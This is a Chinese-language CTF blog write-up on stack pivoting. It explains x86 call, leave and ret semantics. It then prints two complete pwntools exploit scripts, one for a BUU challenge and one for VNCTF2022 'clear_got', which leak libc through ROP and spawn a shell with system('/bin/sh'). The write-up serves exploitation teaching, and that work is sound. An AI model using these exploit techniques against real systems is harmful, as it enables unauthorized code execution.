简单栈迁移
LOLOLO Lv3

简单的栈迁移

小记一下栈迁移的手段,老是忘记。

先介绍一些函数调用过程中的主要指令

  • push:栈顶指针ESP减小4个字节;以字节为单位将寄存器数据(四字节,不足补零)压入堆栈,从高到低按字节依次将数据存入ESP-1、ESP-2、ESP-3、ESP-4指向的地址单元。
  • pop出栈:栈顶指针ESP指向的栈中数据被取回到寄存器;栈顶指针ESP增加4个字节。
  • call:将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。
  • leave:恢复主调函数的栈帧以准备返回。等价于指令序列movl %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和popl %ebp(恢复原ebp的值,即主调函数帧基指针)。
  • ret:与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。

函数的入口点与出口点的基本操作

  • 入口点

    1
    2
    push ebp  # 将ebp压栈
    mov ebp, esp #将esp的值赋给ebp
  • 出口点

    1
    2
    leave
    ret #pop eip,弹出栈顶元素作为程序下一个执行地址
  • 其中 leave 指令相当于

1
2
mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp

例题:BUU [Black Watch 入群题]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding=utf-8
from pwn import *
p=process('./spwn')
elf=ELF('./spwn')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
bss_s=0x0804A300
leave_ret=0x08048408
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
p.recvuntil("name?")
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #这里是第一次写入到bss段上去的
gdb.attach(p,"b 0x080484F6")
pause()
p.send(payload)
p.recvuntil("say?")
payload=b'a'*0x18+p32(bss_s-4)+p32(leave_ret) #这里跳转到bss去执行
p.send(payload)
leak=u32(p.recv(4))
print(hex(leak))
base = leak-libc.sym['write']
print(hex(base))
system = base +libc.sym['system']
p.recv()
payload=p32(system)+p32(main_addr)+p32(bss_s+4*3)+b'/bin/sh\x00'
p.send(payload)
p.recv()
payload=b'a'*0x18+p32(bss_s-4)+p32(leave_ret)
p.send(payload)
p.interactive()
  • 结合上面的解释,来理解程序最后的执行流程
    • 程序第一次read到bss段上去,我们在bss上部署了payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    • 第二次输入的时候我们将ebp位置填充为bss-4的位置(因为最后leave;ret过去的时候,eps指向了bss+4的位置),所以有payload=’a’*0x18+p32(bss-4)+p32(leave_ret)
    • 前两次输入来构造泄露libc
    • 第三次输入在bss上构造system调用
    • 第四次输入跳转执行system(“/bin/sh”)

64位下类似,但是存在前六个参数寄存器传参的问题。

参考文章

ctfwiki

三哥sange

clover_toeic

补充一个题目vnctf2022(clear_got)

题目情况

存在一个栈溢出,但是在栈溢出后将memset后面的got全部清零了。

给了两个系统调用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

p= process('./clear_got')
elf=ELF('./clear_got')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi =0x4007f3
syscall=0x400777
rsi =0x4007f1
mov =0x40075c
mov1=0x4006e7
rax = 0x4a550
rax2=0x400611

tel = 0xffffffffff600400
one=[0xe6c7e,0xe6c81,0xe6c84]
p.recvuntil("///\n")
payload1='a'*0x60+p64(0x40075c)+p64(rdi)+p64(1)+p64(rsi)+\
p64(0x601060)+p64(0)+p64(0x400773)+p64(rdi)+p64(0)+\
p64(rsi)+p64(0x601018)+p64(0)+p64(0x40077e)+\
p64(rdi)+p64(0x601020)+p64(0x40071e)

# payload1 = 'a'*0x60+p64(0x400773)+p64(rdi)+p64(0)+p64(rsi)+\
# p64(0x601010)+p64(0)+p64(0x40077e)+p64(rdi)+p64(1)+\
# p64(rsi)+p64(0x601060)+p64(0)+p64(0x400773)
# gdb.attach(p,"b main")
p.sendline(payload1)
base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-\
libc.sym['_IO_2_1_stdout_']
print (hex(base))
sys=base +libc.sym['system']
one=base+one[2]
payload =p64(sys)+'/bin/sh\x00'
# payload=p64(one)
gdb.attach(p,"b main")
p.sendline(payload)
p.interactive()
  • 本文标题:简单栈迁移
  • 本文作者:LOLOLO
  • 创建时间:2022-02-08 10:46:31
  • 本文链接:https://lololo-pwn.github.io/2022/02/08/简单栈迁移/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论